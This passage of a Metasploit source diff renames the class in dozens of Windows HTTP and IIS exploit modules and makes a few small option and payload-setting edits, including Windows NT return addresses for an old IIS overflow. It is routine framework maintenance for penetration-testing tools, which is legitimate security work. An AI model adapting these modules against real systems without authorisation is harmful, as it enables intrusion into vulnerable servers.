-42,10 +42,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'ManageEngine Desktop Central 9 on Windows', {} ] ], - 'Payload' => - { - 'BadChars' => "\x00" - }, 'Privileged' => false, 'DisclosureDate' => "Dec 14 2015", 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/http/maxdb_webdbm_database.rb b/modules/exploits/windows/http/maxdb_webdbm_database.rb index 1764bf01ea..f9e6f01222 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_database.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_database.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb index 4488698868..5f6da07f06 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 5a33167929..42d991ab2d 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -5,7 +5,7 @@ -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb index 3f17071de0..f6ae402ff7 100644 --- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb +++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb index f02594d536..ffdcf97b1d 100644 --- a/modules/exploits/windows/http/minishare_get_overflow.rb +++ b/modules/exploits/windows/http/minishare_get_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 9fe3d101c1..eb5fc32a50 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /MiniWeb/ ] } diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb index d9c46a3d2a..4298f850fb 100644 --- a/modules/exploits/windows/http/navicopa_get_overflow.rb +++ b/modules/exploits/windows/http/navicopa_get_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /InterVations/ ] } diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index b897f791b1..7d9bfc54af 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/netgear_nms_rce.rb b/modules/exploits/windows/http/netgear_nms_rce.rb index 9e400e9596..8e00ad258d 100644 --- a/modules/exploits/windows/http/netgear_nms_rce.rb +++ b/modules/exploits/windows/http/netgear_nms_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index 466ddbbae6..465490a72b 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index b70727e917..aee9177369 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE diff --git a/modules/exploits/windows/http/novell_messenger_acceptlang.rb b/modules/exploits/windows/http/novell_messenger_acceptlang.rb index d52305bdb8..0f80454e8c 100644 --- a/modules/exploits/windows/http/novell_messenger_acceptlang.rb +++ b/modules/exploits/windows/http/novell_messenger_acceptlang.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/nowsms.rb b/modules/exploits/windows/http/nowsms.rb index 05f4c9ecb3..5bbf6d1524 100644 --- a/modules/exploits/windows/http/nowsms.rb +++ b/modules/exploits/windows/http/nowsms.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb index 06b563e0cf..c59eeaa693 100644 --- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb +++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb index 19dbbe04ce..0bb82f0dd7 100644 --- a/modules/exploits/windows/http/oracle_beehive_evaluation.rb +++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb index 12a2318607..de558a196a 100644 --- a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb +++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/oracle_btm_writetofile.rb b/modules/exploits/windows/http/oracle_btm_writetofile.rb index 7980ec25ae..81a88ca3d0 100644 --- a/modules/exploits/windows/http/oracle_btm_writetofile.rb +++ b/modules/exploits/windows/http/oracle_btm_writetofile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 3e8ce2702c..a48a151838 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb index 853c55c046..054f5b890e 100644 --- a/modules/exploits/windows/http/oracle_event_processing_upload.rb +++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index e8f3f218c1..792e5db124 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb index 6d1632f045..d8e514ffab 100644 --- a/modules/exploits/windows/http/peercast_url.rb +++ b/modules/exploits/windows/http/peercast_url.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 4b7e9feccf..04e9ee1427 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/privatewire_gateway.rb b/modules/exploits/windows/http/privatewire_gateway.rb index 3671981570..2ad78064a3 100644 --- a/modules/exploits/windows/http/privatewire_gateway.rb +++ b/modules/exploits/windows/http/privatewire_gateway.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb index 9c50701f47..f387140d39 100644 --- a/modules/exploits/windows/http/psoproxy91_overflow.rb +++ b/modules/exploits/windows/http/psoproxy91_overflow.rb @@ -5,7 +5,7 @@ -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index d63fe48e99..a4a1a1f186 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index 41cbf1fae9..cce2a993c1 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index e4b0a0e1ed..060403088e 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 0ef0bb0f34..1b37036b59 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit +class MetasploitModule < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index 06dc9a7abb..3ba0407e99 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb index 67ed566e16..7456fd6022 100644 --- a/modules/exploits/windows/http/sapdb_webtools.rb +++ b/modules/exploits/windows/http/sapdb_webtools.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] } diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb index bf44556edd..e21b096884 100644 --- a/modules/exploits/windows/http/savant_31_overflow.rb +++ b/modules/exploits/windows/http/savant_31_overflow.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Savant\/3\.1/ ] } diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index bf935718d0..49b4f3ed2b 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index c4a78a8faa..5384e6cef6 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb index aeb11ebc39..b95de3b057 100644 --- a/modules/exploits/windows/http/shoutcast_format.rb +++ b/modules/exploits/windows/http/shoutcast_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index f3dbbe7725..5255a61775 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb index 5ba781def4..f484664718 100644 --- a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb +++ b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index ff35263e44..2df31f7ccf 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 4638454fcb..053b40eec4 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index 930a01332d..650dd5f3e5 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index e8bfdbb437..c84081854b 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] } diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e25b6b7075..8be77137c6 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index d770ad3532..b043198646 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb index 627868613f..f431fd9289 100644 --- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb +++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/trackit_file_upload.rb b/modules/exploits/windows/http/trackit_file_upload.rb index 1d33984b1e..c4cc9ee2fd 100644 --- a/modules/exploits/windows/http/trackit_file_upload.rb +++ b/modules/exploits/windows/http/trackit_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/trendmicro_officescan.rb b/modules/exploits/windows/http/trendmicro_officescan.rb index c9482fdcf8..0b1dcff49f 100644 --- a/modules/exploits/windows/http/trendmicro_officescan.rb +++ b/modules/exploits/windows/http/trendmicro_officescan.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'metasm' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index ac5841b53a..1100d1b113 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/umbraco_upload_aspx.rb b/modules/exploits/windows/http/umbraco_upload_aspx.rb index 683baf2a5c..8cb9460f71 100644 --- a/modules/exploits/windows/http/umbraco_upload_aspx.rb +++ b/modules/exploits/windows/http/umbraco_upload_aspx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index 0a8a6421b9..e6e1375362 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] } diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb index 0cec534547..5821ba4e27 100644 --- a/modules/exploits/windows/http/webster_http.rb +++ b/modules/exploits/windows/http/webster_http.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index 744519e2fd..c39180bfa0 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index bcb6a05fc3..213f3d1b68 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb index f0623ef54a..a650c6cbbe 100644 --- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 3a4eecf03c..4e0e67c8e7 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 60c0e47956..e3103db7ac 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -42,9 +42,9 @@ class Metasploit3 < Msf::Exploit::Remote [ # The USERNAME and PASSWORD are registered again to make them more obvious they're # configurable. - OptString.new('USERNAME', + OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', + OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']), OptString.new('PATH', [ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']), diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb index b425fd66f9..1318d6ac68 100644 --- a/modules/exploits/windows/iis/ms01_023_printer.rb +++ b/modules/exploits/windows/iis/ms01_023_printer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index b4f2dd6579..5a4738e926 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/tftp' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # NOTE: This cannot be an HttpClient module since the response from the server diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb index 284ef19b3a..f631cc4e19 100644 --- a/modules/exploits/windows/iis/ms01_033_idq.rb +++ b/modules/exploits/windows/iis/ms01_033_idq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb index c58d7acfc6..9ef0522d13 100644 --- a/modules/exploits/windows/iis/ms02_018_htr.rb +++ b/modules/exploits/windows/iis/ms02_018_htr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp @@ -49,6 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }], ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }], ], + 'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub 'DisclosureDate' => 'Apr 10 2002', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 3e201893f9..8b8b9ea12e 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb index 1b8c895093..d548309299 100644 --- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb +++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include 